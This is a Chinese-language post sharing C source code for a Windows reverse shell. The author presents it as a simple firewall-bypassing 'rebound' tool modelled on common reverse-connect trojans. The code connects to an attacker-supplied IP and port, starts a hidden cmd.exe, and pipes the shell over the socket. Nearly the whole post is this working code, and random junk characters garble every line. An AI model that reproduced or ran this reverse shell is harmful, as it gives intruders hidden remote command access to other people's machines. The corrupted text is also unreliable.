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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 -(bXSBs#  
-+ SF  
/* ============================== =XucOli6  
Rebound port in Windows NT uC+V6;  
By wind,2006/7 y.#")IAF  
===============================*/ dv8>[#  
#include y#Fv+`YDl  
#include k7?N ?7w  
[ oL.+  
#pragma comment(lib,"wsock32.lib") ;1`fC@rI  
WN{ 9  
void OutputShell(); UDL!43K  
SOCKET sClient; R:e<W/P"  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; hd>aZ"nm1  
_/uFsYC  
void main(int argc,char **argv) K/tRe/t }  
{ 6-yd]("  
WSADATA stWsaData; "U!AlZ`g  
int nRet; WG N=Y~E  
SOCKADDR_IN stSaiClient,stSaiServer; d F9!G;V  
CdasP9"1  
if(argc != 3) P<l&0dPO8  
{ t]y D-3'l&  
printf("Useage:\n\rRebound DestIP DestPort\n"); {5%5}[/x  
return; %\D)u8}  
}  ud xZ0  
^B(V4-|  
WSAStartup(MAKEWORD(2,2),&stWsaData); Bt> }rYz1  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); S4^vpY DeN  
mL{B!Q  
stSaiClient.sin_family = AF_INET; <(-= 'QA  
stSaiClient.sin_port = htons(0); 6l5:1|8b,!  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); tw^,G(  
:`-,Lbg  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) u.mJQDTH  
{ <KE 1f7c  
printf("Bind Socket Failed!\n"); Av xfI"sp  
return; +=q$x Ia  
} Xf02"PXC  
: >6F+XZ  
stSaiServer.sin_family = AF_INET; MHh~vy'HB5  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Wc,~{  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); w.H%R-Be  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) RIb4!!',c  
{ )-0kb~;|  
printf("Connect Error!"); $nb[G$  
return; /4a._@1h[y  
} (8Bk;bd  
OutputShell(); x^kp^ /f  
} &xa(BX%,c  
.q%WuQw  
void OutputShell() B8B; y^b>i  
{ b4E:Wn9x  
char szBuff[1024]; lV1G<qP  
SECURITY_ATTRIBUTES stSecurityAttributes; [`^a=:*  
OSVERSIONINFO stOsversionInfo; (yF:6$:#  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; zA$k0p  
STARTUPINFO stStartupInfo; N['qgO/  
char *szShell; &>%T^Y|J4  
PROCESS_INFORMATION stProcessInformation; SnE(o)Q  
unsigned long lBytesRead; aa>xIW,u  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); FN\E*@>X=  
4 !y%O  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); h3bff#<K  
stSecurityAttributes.lpSecurityDescriptor = 0; cW i}V  
stSecurityAttributes.bInheritHandle = TRUE; T(f/ ?_%  
Po ZuMF  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); SS$[VV  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); *a58ZI@  
k p<OJy  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 3[O=x XB  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; pPcTrN'  
stStartupInfo.wShowWindow = SW_HIDE; |/09<F:L[  
stStartupInfo.hStdInput = hReadPipe; x$1]M DAGb  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; fb{`` ,nO  
RLb KD>  
GetVersionEx(&stOsversionInfo); m=}B,']O  
p?B=1vn-2  
switch(stOsversionInfo.dwPlatformId) 2Ou[u#H  
{ gW-V=LV (  
case 1: ft$RSb#  
szShell = "command.com"; a"FCZ.O1  
break; BReJ!|{m}  
default: 4:|S` jm  
szShell = "cmd.exe"; D@Vt^_  
break; >sK!F$  
} f>W -  
tS|(K=$  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); fjU8gV  
$lLz 3YS  
send(sClient,szMsg,77,0); 'R c,Mq'  
while(1) lEhk'/~  
{ R $&o*K`?  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); *Eo?k<:zPm  
if(lBytesRead) Pb?$t  
{ oJ4 AIQjB  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); @&1ZB6OCb:  
send(sClient,szBuff,lBytesRead,0); "br,/Dk>MX  
} pL{U `5S  
else |962G1.  
{ ]`kmjn  
lBytesRead=recv(sClient,szBuff,1024,0); !Cr(P e]  
if(lBytesRead<=0) break; $4/yZaVb  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); MhR:c7,  
} *.!Np9l,V  
} .Yf:[`Q6g  
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return;  #`o2Z  
}
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